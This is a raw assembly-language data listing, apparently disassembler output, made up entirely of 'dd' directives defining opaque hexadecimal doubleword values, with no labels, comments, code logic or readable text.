		dd 0F038B79h, 0E5FF4852h, 5760BFEBh, 0EE1739Ah,	4F9E05F4h
		dd 0D6CE8E60h, 58008361h, 0DE681D2Eh, 1ECD4436h, 8063510Ch
		dd 0B88099BDh, 18033347h, 0A165347Bh, 0AA5FC025h, 4D770A7Ah
		dd 3B09075h, 366A3BD8h,	0E1D048E0h, 0D46B1925h,	5B6D00E9h
		dd 0E3C71E94h, 3155F800h, 50393C88h, 0CE5A0016h, 3AA2799Ch
		dd 2C13976Fh, 9A145E1Dh, 1E9E00C4h, 670DD34Ah, 0B42E0A31h
		dd 384E38Eh, 5F8846B8h,	0EF094000h, 2E2A893Eh, 0DFA30393h
		dd 0A1304AB9h, 0CB1A96A0h, 4B7EF970h, 0DB14A400h, 0D5F1B2DCh
		dd 8E8A0058h, 1151CAB8h, 0D600954Bh, 238F2FFDh,	0A6162Eh
		dd 0E98E6003h, 83B1F8C9h, 3F1EB914h, 777202B8h,	60D8353Eh
		dd 192169h, 68ED5F8h, 0E81D5AA1h, 0D7296207h, 0B06077A6h
		dd 0F7A07B1h, 83B597F4h, 0CD49560h, 0DD04574Eh,	0F7455D5Eh
		dd 9CB41CD0h, 0CCE9002Fh, 7BDE6590h, 8FB8E885h,	6BCDD500h
		dd 0A38084CBh, 50740003h, 0B33BBD44h, 0B93BB091h, 121CC9E2h
		dd 0AA0DDE7Dh, 0A1F01127h, 694712E7h, 4B1C00C6h, 80FBB2E8h
		dd 40383F2Dh, 9058B9FAh, 0B0417558h, 0A77C1294h, 581C602Dh
		dd 0F8AABC5Fh, 30EFAEC0h, 0C7CC5C02h, 63AEEE6Fh, 0B87AEB26h
		dd 4D04Fh, 36CD2C05h, 0B9BB89BCh, 49BF7500h, 0E863809Bh
		dd 7E870340h, 0F74FB72Bh, 0C05F41C8h, 5C8A4309h, 9C9887B1h
		dd 0BED0C630h, 5A373D70h, 7116F900h, 0E6952ABBh, 5D0D71B0h
		dd 195C79F4h, 7E43D0h, 0A2221B56h, 19E26162h, 219BA533h
		dd 588D8018h, 97A3EA8Eh, 0E27CBED0h, 3B6C7200h,	0A5BEF23Ch
		dd 5F160F4Bh, 9A03DF6h,	0CA0AB271h, 7580BD48h, 3500127Ah
		dd 0F27A048Ch, 0BFBAEDh, 1B1C444Fh, 0C1ECEB95h,	0E7CA14Ch
		dd 80A97533h, 0D685C56Dh, 0E141C66h, 21F88E0Ch,	803897E5h
		dd 25DB689Bh, 8B28B300h, 5F938CFFh, 3A597BBDh, 80007A40h
		dd 0E8A51FA7h, 7C98B22Ch, 0BCAA6C01h, 788B9DB6h, 1DC68D8h
		dd 0C3190664h, 4008A80Eh, 0D42713A0h, 0DDBC200h, 50B1269Ch
		dd 0E08D509Bh, 0B8821B48h, 0BDD0607Dh, 6A009FCEh, 6DCAFA38h
		dd 0F0FE701Bh, 0BB0C035Ch, 3EA2AA6Fh, 0F7D665A8h, 1A0077F0h
		dd 97492492h, 3CD41Eh, 0C4115D1h, 0B3B1A096h, 7334C101h
		dd 0BA45BDABh, 62A1ECh,	1435D41Dh, 9C3F01ADh, 4209E077h
		dd 0A085A3C5h, 0F4F3B958h, 6BB11325h, 1050C351h, 782050E8h
		dd 0BC4EF200h, 4A3CC342h, 9FF60BEBh, 0E0020F1Ch, 0B86BD3A1h
		dd 0F117EAA8h, 0B0D6742Ch, 30E42A01h, 98F78A98h, 7FBF6646h
		dd 0A6CF00E6h, 7335A2D4h, 960F7631h, 0EAE7114Eh, 0F20014B7h
		dd 6BAACB70h, 802C1FF9h, 3092810Dh, 8B463D2Eh, 83F0BE70h
		dd 2013365Fh, 5F7CD011h, 0F77110A8h, 694D6E00h,	7CD85C3Bh
		dd 0AA3C0721h, 8024044Bh, 8036AF13h, 59577500h,	4E21D54Ah
		dd 68D00CDh, 0EDAC9D4Ch, 960185E3h, 76010844h, 0F180D4EEh
		dd 2620E0CDh, 1F182F05h, 5F4127B1h, 0BF060C80h,	0C2280C8Eh
		dd 0D9E6D839h, 18BC0318h, 1EA89F2Dh, 8ABE82B0h,	10CF83h
		dd 480C8840h, 507EE09h,	5AC720A9h, 0E70F1DC0h, 69AC04A3h
		dd 80BC3415h, 0B4E15E6Ah, 511F1007h, 82B017F5h,	0B9B8C5h
		dd 0CE9FA2E4h, 0FCF36127h, 0C63BEA00h, 66FF839Dh, 60DF00B8h
		dd 0AC6FBC41h, 0DC3EC58Fh, 0C07C0329h, 9867FB90h, 0E6A89E71h
		dd 0C2580026h, 5E2E1176h, 0F3F055F6h, 0A4B68A00h, 9B19E680h
		dd 17FD5833h, 0CEE34700h, 0B5D1CF3Fh, 0A8163903h, 0AEA9F856h
		dd 78E4A0E1h, 113568B7h, 0DE187C04h, 631017A0h,	779D015Fh
		dd 0A4FB8178h, 0D4C6C52Fh, 4200E8A7h, 0AA0ABE59h, 0B59B8Bh
		dd 655B3157h, 3304BD16h, 0F30D8600h, 9AAF1ECDh,	0E1BC0E81h
		dd 0CFCFB8D5h, 9B24FDA3h, 0DE790C98h, 64C5B600h, 0A1276C99h
		dd 42800EDh, 0BCFC39D1h, 120BE445h, 809F0B02h, 0A6356B03h
		dd 5EEB001Dh, 0DC8B20EDh, 7C00D138h, 33E58DDDh,	26C80C36h
		dd 34991F0h, 708940B3h,	26D20888h, 907E17FCh, 0EE7C7E09h
		dd 0C11F8081h, 0EAEB49h, 0B71A6545h, 0D16FFAE4h, 72784A00h
		dd 77AD63CAh, 0B97601h,	0A897F50Ah, 353941CBh, 8E54CE00h
		dd 18EAC033h, 69F600C6h, 0FCCBBB4Fh, 0D4580648h, 4E821E76h
		dd 0BF026F1Dh, 400FEE68h, 0A6DFDCh, 0C58DB7Dh, 0F40A7785h
		dd 0F5214D0Bh, 0C1DB002Ah, 0F1E1A69h, 0F11A6B8h, 0C060D8C9h
		dd 8B1F1292h, 55C0AA3Ah, 80B16B5Fh, 94871C6Ah, 71F5C029h
		dd 0B3A57932h, 2A0086F8h, 5607740Ah, 59F2CCh, 0A45BDD3Bh
		dd 0EE5E03A0h, 0A6122D00h, 0DFAFC949h, 1F798Fh,	0A7F1B301h
		dd 18164743h, 2F5D3100h, 54DD48B6h, 18364920h, 24DBE24h
		dd 9A45A886h, 909FAC87h, 9812A902h, 0DA012AF0h,	5C774DAFh
		dd 0C3F04153h, 3B07742h, 0D5CE782Fh, 0DDF012A1h, 47053931h
		dd 50DF795Ah, 6EFCA480h, 54AA0055h, 22ED63EEh, 333AF111h
		dd 0BA3C8388h, 0A8EB082Ah, 0C0185A24h, 7BC058E0h, 7C007F64h
		dd 0C45B72E7h, 0A0997996h, 307312C5h, 32A954D3h, 0DE07B615h
		dd 7163B769h, 3DC00E75h, 2E0C7Bh, 48703FB8h, 2216D568h
		dd 0E1F2C90Ah, 0D417D4D8h, 652DDF00h, 345F410h,	6CC9689Fh
		dd 0B3CF90ACh, 281CDBA8h, 5447CBADh, 8079C0DEh,	8B10495Dh
		dd 7C7807FBh, 806082F7h, 3A7D1D01h, 16E63202h, 0A58C280Fh
		dd 7400F4F4h, 0DEA39F10h, 0ECD0C67h, 0B060799Dh, 1391CF00h
		dd 83C9942Dh, 71CB3ED2h, 920F3158h, 8C95E435h, 0AEA4213Dh
		dd 1AB7077Ah, 0A18EE02Ah, 0C8E10116h, 997806FEh, 0FEADDC28h
		dd 9D508B00h, 0F21316BAh, 67250153h, 301EA1CFh,	66EE469h
		dd 748BF100h, 447176FAh, 0A890C07Dh, 0F559D87Eh, 5AC2750Ch
		dd 23CD08Bh, 0C309DF6Ch, 0E2096E4h, 0BA4F5792h,	0E8485328h
		dd 4D03F03Eh, 6D8C1CCFh, 0B893806h, 6C123h, 769A202h, 107B1CD2h
		dd 4D79280Ah, 8680888Eh, 0D6898367h, 2658901Eh,	8E6CB5F2h
		dd 0A5A01A0Dh
		dd 0D6BC6872h, 14A9F900h, 0D4AC22FDh, 370A069Ah, 4877C6EFh
		dd 4A575B00h, 8529F225h, 70483A75h, 497AB39Fh, 7C81BD5Ah
		dd 0F0244EA5h, 86071D39h, 29CA2E76h, 0B3311420h, 0E1603833h
		dd 67C0C00h, 0D1A74D9Bh, 4CE8190Fh, 0B7AC2061h,	7D94137h
		dd 2BE6CB7Eh, 2777F756h, 0B06AC0F2h, 0AC008BB3h, 21638A25h
		dd 0FFD76C3h, 3FDA1264h, 0C10A23A7h, 0C40D6940h, 0BE2E0614h
		dd 7600C948h, 1A78813h,	0E9BD00E0h, 610AF894h, 1000483Dh
		dd 0DDE5524Bh, 17A409h,	0DCC06A15h, 14F7E07Dh, 7961F103h
		dd 0D05FACFAh, 3898E5h,	4AE97F72h, 5E7BA24Dh, 6858E600h
		dd 0DD748D12h, 9AE80029h, 0EE69F160h, 0B8A0A38Ch, 88009E2Ah
		dd 5B050228h, 1766470h,	0AB91AC80h, 804DAD55h, 2559D0F8h
		dd 0EE0860F6h, 0F879EE61h, 8C045C76h, 184B012h,	6353EC08h
		dd 7CF9EF65h, 17346033h, 30F7A80Fh, 0B0ED813Eh,	0DF43A53h
		dd 7DD8001Dh, 198DD282h, 4B00A0C0h, 0ED6FF65Dh,	139EFBA6h
		dd 529CFFh, 3CD527A6h, 1912864Fh, 144F7239h, 5675A055h
		dd 0A109BB1Ch, 0F0F35DDCh, 259A95h, 0FBF2A286h,	504542FDh
		dd 9FB3D23Ah, 9D003285h, 60AD4C48h, 41EC0093h, 53241D70h
		dd 0E0F77ABBh, 8C038A77h, 9BB83887h, 0F3CAB011h, 9FB10116h
		dd 4B7A5709h, 0B58824ECh, 2EA09854h, 0F103FB00h, 0E576C89h
		dd 0A40C0072h, 0EE7F36E8h, 590040B9h, 0D294FB1Ah, 50F6503Eh
		dd 764FDC6Bh, 25FE00ABh, 102D09ADh, 9F00CB30h, 2866421Ah
		dd 24FBC298h, 206EBBh, 682C9C9Ah, 7B008F80h, 0C529CC18h
		dd 1834C1E4h, 29AF789Dh, 8E008740h, 2A0AEB57h, 7E6D4Eh
		dd 9E073A26h, 0D5DABD25h, 98E4F103h, 0C06AC9E6h, 0A1E178h
		dd 0EAB05DE9h, 7788B83Ch, 18670903h, 79D2D3F7h,	6DD62E31h
		dd 4C49001Eh, 37EDFFB6h, 0EEDE4Ch, 40E0BF94h, 839A23h
		dd 705804B9h, 0AE34035Ah, 6DAC8900h, 0CE4A3165h, 99B0093h
		dd 0D12B7AE4h, 663DB13Fh, 0B6878020h, 0AD86F54Dh, 0BC800B07h
		dd 3C03BD99h, 7E80E4E8h, 327BBAACh, 43FF7807h, 6231D08Dh
		dd 49C57DF7h, 0BE0770h,	0EB60CCBh, 7B2283C8h, 793A9900h
		dd 0C00B78E6h, 25DA00BCh, 563F1AAAh, 2700324Eh,	18C2AF98h
		dd 0FD0A29h, 0AC8D7BEEh, 0D22F513Dh, 0D016F200h, 72202B6Ch
		dd 9D1C0002h, 0F4715B82h, 0C20069FCh, 3EBC5095h, 0A30815h
		dd 0FE90D08Ah, 304C75ABh, 0E10097F4h, 7B914F1h,	0E2D31F20h
		dd 9F640147h, 36B37987h, 8E1CC062h, 7568D800h, 0B2D6A2E2h
		dd 0EBB3D60h, 52859F8Fh, 79A334h, 6621833Bh, 8451D596h
		dd 8C6CC500h, 8EA1F2EFh, 0BDFA00C6h, 9B75D4F9h,	6500AAFCh
		dd 5DE9499h, 72222Fh, 9F4AD7E2h, 868596BAh, 0F9F3E100h
		dd 35EC06F0h, 0E08100FCh, 2EFA8784h, 0F603126Ah, 2762DA80h
		dd 0C876D8CEh, 0C77B171Bh, 50F4003Dh, 0A1E5C02Ch, 4A079D7Ch
		dd 55C1632h, 60A35F00h,	34BC188Dh, 6EF860ECh, 963B853Eh
		dd 3F1FCC9Dh, 0CADA07C6h, 0BABF3180h, 136D2910h, 0C31AC0E2h
		dd 0C75C00FDh, 65CA5D30h, 780DC152h, 28F83BABh,	1FECF520h
		dd 1DD41A67h, 0D1F419EBh, 0A283E190h, 6E613028h, 9C1B2940h
		dd 2F7F20h, 0E7B9753Eh,	0C01F91B6h, 0BF7982EFh,	82AA7F03h
		dd 80238720h, 1AC36264h, 33763A8Ch, 89609202h, 74A420BCh
		dd 0CBBD00A9h, 3E8CFE22h, 970004C7h, 732482D8h,	2E014306h
		dd 0E21E15B2h, 0B0E7ABEEh, 31439h, 9F92369Ch, 0DAA07CDFh
		dd 1D41A23Bh, 0B7C0CEB3h, 0BDA3EAC3h, 3BDD12FFh, 0A57017Ah
		dd 0DDA7E2D3h, 419FC056h, 0DC223100h, 0BCE6ED7Eh, 0ECC3001Bh
		dd 0AD5A237Dh, 6FE00D9Ch, 1CC88100h, 0F9E6AB4Ch, 0DEE400F8h
		dd 0ADC1AAF7h, 0A1508559h, 9E0752A8h, 83553499h, 84B4BF00h
		dd 0C47103D6h, 0A52D518Ah, 0F748C0F8h, 0EAC19714h, 72F90180h
		dd 0D9155B2Fh, 11218CF9h, 9DC41980h, 24884B87h,	0CC5C602h
		dd 417F3792h, 0B4417EEDh, 0D2E3DEh, 5754389Dh, 0CB4F6700h
		dd 0C504CECCh, 0C37A33h, 0FF8C6BD6h, 0DEA4C410h, 95E7E602h
		dd 0A007B551h, 9EB275D8h, 28C103E1h, 650C817Fh,	0F5E9E2B9h
		dd 0E6D457E4h, 5B0099DDh, 142B883Fh, 3DEBC459h,	0A180A422h
		dd 0FA8472AAh, 2A0E3B6Eh, 2FDCB042h, 2842185Ah,	44E71E24h
		dd 0E000384Fh, 807B0E56h, 8C759678h, 75095300h,	0EDEB69EEh
		dd 0B1E900ECh, 67C77604h, 0E200BCBBh, 0A450FE6Fh, 31774E1Bh
		dd 88196A3Fh, 41C980EBh, 0A6781E92h, 1F07008Eh,	8BB73A93h
		dd 3000D7B0h, 38A4532Fh, 8D0FF2h, 4EBFF578h, 61F6F1FAh
		dd 0C0E9E562h, 4CEE22EBh, 14421040h, 60B4AE54h,	0A78CDB00h
		dd 74E66909h, 0B99101FAh, 63E91162h, 0DE898CE1h, 1F5331E8h
		dd 0C017C002h, 5C262E98h, 0F3C6FEAh, 2DB5806Eh,	4386508Dh
		dd 28F1E2F9h, 0FBFF20h,	2FF2592Eh, 0CFF3C1DEh, 0EBC61802h
		dd 80662845h, 0A89495B9h, 2C2B0074h, 46257FEDh,	0B614A36h
		dd 0B8EEAD28h, 63C5D0h,	0CF03A64h, 1D2C4C9Eh, 9A1D20DFh
		dd 0FAA980FAh, 63A3CE57h, 45E24C61h, 2DE52B03h,	2826C349h
		dd 3B3AB9D3h, 3594841h,	0DDA3E60Bh, 2C1DB0F0h, 0FFEA00BDh
		dd 2F5D7A45h, 0E0004BB7h, 0DF041674h, 663E356h,	0BCBDD072h
		dd 307E18A1h, 91C13600h, 65CBA587h, 0C76A0185h,	48C52BFAh
		dd 0B037D871h, 5DEBDE0Ah, 0E700442Ch, 0DC802AE4h, 9F0D00A2h
		dd 0D55E5CDDh, 4E072102h, 0B27E85B6h, 649EEDA0h, 2A45F896h
		dd 9CC6FCh, 0F93467CCh,	74B0251Ch, 33500CA0h, 606D2F01h
		dd 0AD35D945h, 744BFA20h, 0D3B00084h, 13FA41E8h, 0CB0CAA0Eh
		dd 81A0627h, 5A21C089h,	4EAFFA4Ch, 96F72601h, 81993173h
		dd 32DEC8h, 0C9F5D471h,	4A050FF3h, 59E6D700h, 3A493DAAh
		dd 1BF40C8Eh, 0BB30D2E9h, 88D39701h, 2F10AFADh,	30061BCh
		dd 0DE3DE084h, 9B188783h, 8A086BA6h, 1820C0B1h,	1D06E03Ch
		dd 0BAB40801h, 8735CDF6h, 892F418Ch, 0EB00EE29h, 0CCF13630h
		dd 7EC138C2h, 31FE0192h, 5865903h, 0E877C9E0h, 0D60C35CFh
		dd 0B0DADC62h, 88A55CDDh, 4690CD2Ah, 0F9087640h, 701A0E69h
		dd 0F9035648h, 229FAE67h, 50CCA7E8h, 0CF340AAh,	46026603h
		dd 90010D33h, 0EE375D99h, 449B00D0h, 0AE32DB57h, 0DA00A111h
		dd 778AA851h, 0EE5AEE9Ah, 6C900005h, 2E2553CFh,	0D300A466h
		dd 1F56F1C6h, 3F8E64FEh, 689D1D9Dh, 1880BB36h, 31926F1Eh
		dd 620017ABh, 3CED79B6h, 3CDE692Ch, 0EB806CDBh,	0A81559B3h
		dd 0B70004CFh, 0A4B90343h, 84BDAh, 7E8F88Ch, 9F895132h
		dd 687FCF00h, 76C4A8D5h, 3008CCC5h, 0CFF8B321h,	0A97A2503h
		dd 98E936E3h, 24624F5Ch, 3176EF4h, 589CD98Eh, 6A1A09B0h
		dd 1851B430h, 350AC2Fh,	773C6DE9h, 5078F1CFh, 5552700h
		dd 25988EFBh, 48861DEDh, 33DE0C24h, 5FAC520h, 5ED67E00h
		dd 0EA42D7E4h, 12090392h, 0B8CA5CFAh, 9CE9DAE1h, 149D76A1h
		dd 1382C3C0h, 6203D7ABh, 0F998E95Ch, 11CFBB18h,	88756BF3h
		dd 0D1B7803Ah, 0D22D3ECFh, 783A9C76h, 53E8003Ch, 4A4B13A9h
		dd 0DA5D0F29h, 52A16F9Ah, 6C70BAh, 7A6EFC8Ch, 0B267079Dh
		dd 60D85D69h, 246EC38h,	0B3544100h, 1618A13Fh, 5A790525h
		dd 8059C904h, 30C21B02h, 741A500h, 74B391FFh, 4A8A3C0Fh
		dd 6E4996h, 0D84B43D0h,	6C007276h, 0AC25E216h, 0FA9EF11Dh
		dd 0ABC00074h, 3176F365h, 110F13A5h, 8075067Ah,	0CF96A6E3h
		dd 94FE3030h, 9803A508h
		dd 82075900h, 31A7E80Eh, 199513FFh, 80D500FAh, 5B96D83Bh
		dd 6ECE39C3h, 0E155D843h, 48DD3853h, 8A65E00h, 70ACF316h
		dd 0B4B90700h, 4E2215B3h, 3F0E950h, 9CF0CEh, 0CD2ADEDBh
		dd 0D9A9046Ah, 0E588090h, 1E3B03D6h, 81952246h,	2BC8A260h
		dd 0FD2E15EDh, 7F008806h, 4CE66D32h, 89009984h,	0F646E8AEh
		dd 0FBD3635h, 4957BB23h, 0B00D5D67h, 0AB5B1377h, 60E41F76h
		dd 41071906h, 0AC8A533h, 9D3EF4BAh, 0D6003C90h,	949F5F9Bh
		dd 0C90095A1h, 0D5198945h, 391826EAh, 70F43897h, 34AF0085h
		dd 96A0D6FCh, 13005CDAh, 577D5210h, 4C8FC8C5h, 1F7CF85Bh
		dd 0F4383EEh, 7300B5D4h, 1DEFBC18h, 20A1300h, 152EA6B9h
		dd 0B9B0F1h, 0F78111Bh,	0BF182B12h, 70C7AC00h, 3915DA67h
		dd 9C7849h, 0F07AA4E6h,	841EA3D5h, 1D6A8C04h, 8680538Fh
		dd 0F2A0E647h, 8B612F68h, 2500D356h, 0F5F82D0Bh, 9C9E3814h
		dd 0FAD28500h, 0AD70B286h, 0AB961203h, 0C8BDCF97h, 90654830h
		dd 0C58B01B1h, 0C24A4B5h, 22A8C0DFh, 8233A005h,	50302F2Bh
		dd 7B1D09h, 4773D8D0h, 9DABC1FEh, 3DED7F00h, 0B2F42665h
		dd 508F0057h, 82219058h, 2F0012A8h, 0A3AC0E37h,	1D1E2601h
		dd 8F621CDDh, 868087E0h, 7B077E79h, 9F0ED4EAh, 78EBF1D3h
		dd 3B8A48h, 43BEE3E1h, 0D04A60B7h, 1C9D8838h, 9B40E065h
		dd 0BDFEC89Ch, 16FA0049h, 5525C333h, 0E300DBADh, 7ADAA6DEh
		dd 73E86C7h, 0D28953D9h, 0D1E52Eh, 242A46A4h, 5950A603h
		dd 7D00BCECh, 1C34C8E5h, 0EEEC4Ch, 0F8E414EAh, 0FB1E74BDh
		dd 5B58CF78h, 5E4600BCh, 8458FC2Fh, 9236036Bh, 0CE1A0230h
		dd 0C9E5B800h, 0F95B858Dh, 125AFC9Dh, 40C63334h, 1112AC20h
		dd 0E20386B5h, 4C538D20h, 633800E8h, 836FC958h,	0A5309774h
		dd 2A8619BFh, 0EC13507Dh, 7FFEEA6Dh, 913503C2h,	4FDAA8CDh
		dd 0D0C1C7A8h, 505F4001h, 9B4775CFh, 0DEDB90D1h, 0FAF80038h
		dd 80A48742h, 4B0F915Fh, 60DB2C79h, 4331D525h, 367F6CEh
		dd 0CDE60C28h, 0FD85713h, 69000A1Fh, 0AE7FFCE9h, 0A0DC1DA1h
		dd 596BCh, 0F1D63FD8h, 0C7784DB5h, 80C17C38h, 647BAA0Ah
		dd 1E7233Ch, 5D446A6Ch,	0F8EC851Eh, 25004A82h, 73C97938h
		dd 14A77F4Ch, 0A0E39533h, 55194507h, 0F843C054h, 0EEF82EBFh
		dd 0EC00C476h, 0F3D069A3h, 353DE7h, 64D2E84Fh, 0CBC7C137h
		dd 0AFFBA800h, 46BF5D5Ch, 0EF8300FAh, 0B0647EF2h, 0BD500CEBh
		dd 4500B3DCh, 8C2DB67Dh, 0F4B75Eh, 91988FA6h, 6354BE18h
		dd 9EC72401h, 0C9CEDFD2h, 28B062D0h, 0E4C4902Eh, 36340023h
		dd 8A19E444h, 6D00C060h, 1015DF46h, 8C6AC7h, 27242968h
		dd 0D92FE498h, 0A0DD1D00h, 0ECB065Bh, 0B17A0022h, 9D879525h
		dd 57FAFA08h, 0D6E6AF00h, 820B15DBh, 0DDC0040h,	0A3FD30A7h
		dd 0E100F1BBh, 584D9FD9h, 465D5A0h, 193F5DB0h, 23008090h
		dd 7E491142h, 7A780010h, 0D28DF439h, 0BEC400E0h, 1CA18617h
		dd 0C20FB4F1h, 5963D36Dh, 1F00B9B0h, 8E002181h,	0CFDD984Dh
		dd 0C87807h, 0E0931BD5h, 24895530h, 9C121D00h, 8B33DFAFh
		dd 7ADB0F2Dh, 98808EA5h, 0B7EB053Fh, 94EAA428h,	7FA8C00Fh
		dd 0AA11784Eh, 5CDB3AB3h, 0F6C20A03h, 8079028Eh, 3C58C424h
		dd 1708F900h, 1C116940h, 806AAFFCh, 986C1E37h, 0C519C1EBh
		dd 84684CD9h, 0F6B2E441h, 78D7D4h, 0E6B0978Ah, 537B5E5Dh
		dd 0EB0BE775h, 0DFC81666h, 0BEAE6380h, 20790E6Fh, 0A071E107h
		dd 0C5B0DB0Ah, 0B6ADA1h, 6D37AC60h, 280DEC23h, 7BD01A0Ah
		dd 0AF00C577h, 92F88E5Eh, 0E7A987Eh, 8D89C0EAh,	0E09BA200h
		dd 0A008A4Fh, 1E5EAECBh, 75B3C313h, 16A7051Bh, 0F57B23h
		dd 0CEC6EAC4h, 4200A097h, 5DFBC5CFh, 24CABE3Ch,	0E32625h
		dd 3B40A319h, 0C000D41Ch, 82F5C467h, 0F677047Dh, 22372D0h
		dd 0B4641942h, 3848C32Eh, 54006F92h, 473E277Ah,	9DF42Ch
		dd 4D95B644h, 9FCDEAD3h, 1500B0E4h, 0BB67626Dh,	2CD7A830h
		dd 0C2AABFh, 0F23F2C5h,	371F0886h, 24CE5A2Ch, 1CB3E0F6h
		dd 0A36807h, 0BE62B184h, 88E9BBB6h, 2014F6E0h, 0E018A7h
		dd 8FE77313h, 39A8E8F4h, 0E5877D38h, 702CF626h,	1D6C95F2h
		dd 8F162500h, 42042329h, 4E840035h, 32531BE1h, 61000FA6h
		dd 0C0BCD6E4h, 6F93EDh,	0B5420307h, 36A730E8h, 66F190E1h
		dd 12DBC4h, 0AC355B18h,	0FC56985Fh, 8C251CA9h, 8088817Bh
		dd 2001AE60h, 3300D995h, 67B3C56Ch, 757312EAh, 590F00BEh
		dd 81B7D66Bh, 3B1E623Dh, 0F940E5EFh, 7F2DC6B8h,	31FD1C2Fh
		dd 95DE87EDh, 0D99F1010h, 71012E52h, 7DFEE9BCh,	0E5DC4894h
		dd 3CAE48CDh, 17AA9E00h, 0D16BEAB1h, 0B8EF5Ch, 3C1E4ECEh
		dd 0C795A7h, 8B0E5B0Ch,	2B1AFE77h, 5D96E64h, 0D88774C0h
		dd 0FCDB00A0h, 0F916E434h, 0C217AE6Ch, 0D2009D06h, 0DC2A4EF8h
		dd 239800F6h, 933B864h,	26E295DBh, 2D45E2C0h, 7C2877h
		dd 0A3E6D362h, 58301632h, 8042EE3Dh, 593E12C9h,	3A2C70BFh
		dd 0F880AC02h, 0ABA5D9E0h, 2703D542h, 7F921B01h, 0F831CBCBh
		dd 0C595D7h, 6D5249BBh,	18FDBC5Bh, 80E9AE38h, 0CBA6B54Ah
		dd 9CC7E40h, 0B8974EB2h, 0A380A4AFh, 867C9870h,	493B7D12h
		dd 0B18E3C00h, 5E161A9h, 0D8CE2863h, 15900E5Ah,	0D10470E0h
		dd 1C240748h, 18803413h, 1B8E080Ch, 50840312h, 27704026h
		dd 6F40F8D2h, 5F002EC6h, 0C1D13602h, 59039B0Fh,	0AD00E8BCh
		dd 90E0B133h, 9300EA07h, 4D783C09h, 59D7E585h, 0C600CCDBh
		dd 589C6BB5h, 0A5006023h, 0F6E570BAh, 6453A665h, 0C69D891Dh
		dd 0F4F13015h, 0F400FCE3h, 0F0FDEB64h, 0F81173CDh, 1D18DE6Fh
		dd 8AA7Ch, 0E0D44D9Eh, 703C1AE5h, 7C049F0Eh, 0D9DD43F8h
		dd 0F561031Ch, 1D9538BBh, 690758A3h, 239E6C7Eh,	0DD1219C0h
		dd 0AFA700E5h, 426533CEh, 0E11CDEC0h, 89C0ED1Dh, 6C382A10h
		dd 231B189Ch, 6929C85Ch, 26AEBC58h, 9481BC11h, 0CB65DBDCh
		dd 5284C083h, 0D7E05EF2h, 16007AA0h, 0A8576C62h, 7BE84Dh
		dd 1A13E0CEh, 0C7D4F65Ch, 0EA52100h, 667543C3h,	0AA575809h
		dd 8AC10107h, 996CA04Ah, 30004E9Eh, 45A498B8h, 17D4F02h
		dd 914CAA18h, 4020799Dh, 6D4085F1h, 1B41BD00h, 0C2A02667h
		dd 0BCBA503Ah, 0FACB002Eh, 75F35035h, 8D079B2Ch, 2481B09Dh
		dd 0A180B645h, 0F6FACB1h, 4E778851h, 61C9BA80h,	2036BA4h
		dd 0DD7F3C73h, 4A96C03Bh, 27AF00A6h, 777C4862h,	16004CD1h
		dd 0A80B47E6h, 92E9967Dh, 36E40A04h, 0BCC8193Ah, 0E0AA0452h
		dd 629914h, 410AE133h, 87057AF1h, 0C5273D00h, 0CA2F4CADh
		dd 0E2A10FB6h, 79016278h, 0D05FB77Ah, 330049C1h, 157405ECh
		dd 34239E3h, 0B516EE09h, 59B3D73Eh, 437D7CB0h, 1700E8F4h
		dd 8EE6C15h, 3E8A7F87h,	0E1006120h, 0E9307859h,	0AB026243h
		dd 4CA113E5h, 115FE1EAh, 3A81644Ah, 40EB4EA3h, 0B984E504h
		dd 5B00EA7Ch, 0B6A4D30Dh, 7F17FF5h, 0DBDA4EA1h,	0E4B09051h
		dd 0EC62BA62h, 22DF9C28h, 0D622EEE3h, 20E624A7h, 80A64811h
		dd 0A988EF57h, 9CA895Dh, 51943B31h, 1311143Bh, 82E2153h
		dd 6F94A0A2h, 0A69E1150h, 28BB5211h, 0D3421462h, 0B5E9E308h
		dd 6B845610h, 64C74A6Ch, 2930EB0Ch, 0B53CA3FAh,	502B140Ah
		dd 29313F0Ch, 0ED43205Eh, 5175A422h, 39D1289Fh,	14820212h
		dd 8322778Ah, 49AC03D2h, 62BB4DE0h, 3F30D000h, 96A8EF37h
		dd 22920187h, 0E67EEE12h
		dd 849BF83Bh, 3D39DF00h, 6288969h, 0BF3700D8h, 0FC19CFD6h
		dd 9B00D797h, 35BC57D3h, 8B563Bh, 0F4F137A2h, 13374B1h
		dd 8E9EB03Fh, 608F90EFh, 0D71AFA45h, 94FD00BEh,	0EBF86AACh
		dd 1B000D4Bh, 64B86134h, 1EF2E8D5h, 0D87A98ADh,	431E1065h
		dd 21EDAE00h, 0D0F7A2B1h, 0B0A7008Fh, 0AD67E0BDh, 0B800E2BAh
		dd 9A9EC4E9h, 440FCAh, 0F87274D0h, 0FF7D58C8h, 8F7B500h
		dd 135B702Eh, 4C90F4h, 4F3F0C27h, 0E20E8963h, 0C32C9A1Ch
		dd 0B75F940h, 0FAFA0h, 9E4F9302h, 0E1554FBh, 8091D938h
		dd 7CB1C95Dh, 0D7DA9Ch,	18DC3DCDh, 0D0FD67D1h, 2B787B00h
		dd 2EF597E2h, 0BEB8FFh,	0CC0CB8B2h, 7D9E92FCh, 6C478600h
		dd 9119E17Bh, 0C46D071Fh, 97FCC142h, 0A2F1A26Fh, 0C8B79C41h
		dd 0BD33CF60h, 0D08DA1F4h, 41728Bh, 34AF1F68h, 706185DAh
		dd 10867100h, 0CEACA224h, 17AA39A0h, 4D180A80h,	0CF79DCC0h
		dd 0D4954600h, 0CD39F2F7h, 0E1E20017h, 9C585A16h, 0A000A70Bh
		dd 37135F08h, 97C3288h,	7A5667B4h, 0D1B81F00h, 0DF3AFD2Dh
		dd 85AF8024h, 789A0BAEh, 5B9D3898h, 1CC4CC87h, 2C103093h
		dd 21D3245h, 0E1C3D268h, 0B8308FF4h, 598A1Bh, 0A6FE9B33h
		dd 0A9ED7EBFh, 0C50FAB1Dh, 80F6E20Fh, 0A066E0D9h, 97FAA094h
		dd 49E10069h, 8A1236C3h, 857D4FF0h, 59880312h, 0EC5B6E00h
		dd 4C64B7C8h, 610038D3h, 1ED0B0C2h, 5500431Bh, 2C44B683h
		dd 0ED03A4h, 9A5A5F86h,	59B27609h, 523EF2E8h, 61680E1h
		dd 7D8A5DBAh, 625301EAh, 4E146117h, 35BBE886h, 0CE9B7F00h
		dd 0F7AB05A3h, 0BD3F0047h, 0DD93D408h, 0F2007225h, 45E1D8D6h
		dd 3CF45122h, 0D08FEDE8h, 0B740FD12h, 0C02A94A4h, 0AFE03678h
		dd 0B8ED2C00h, 90EA40CCh, 4A153957h, 1EDE3D00h,	5489C9ACh
		dd 66950D00h, 0C20787BAh, 5D090039h, 4D8C8688h,	0A604E8D6h
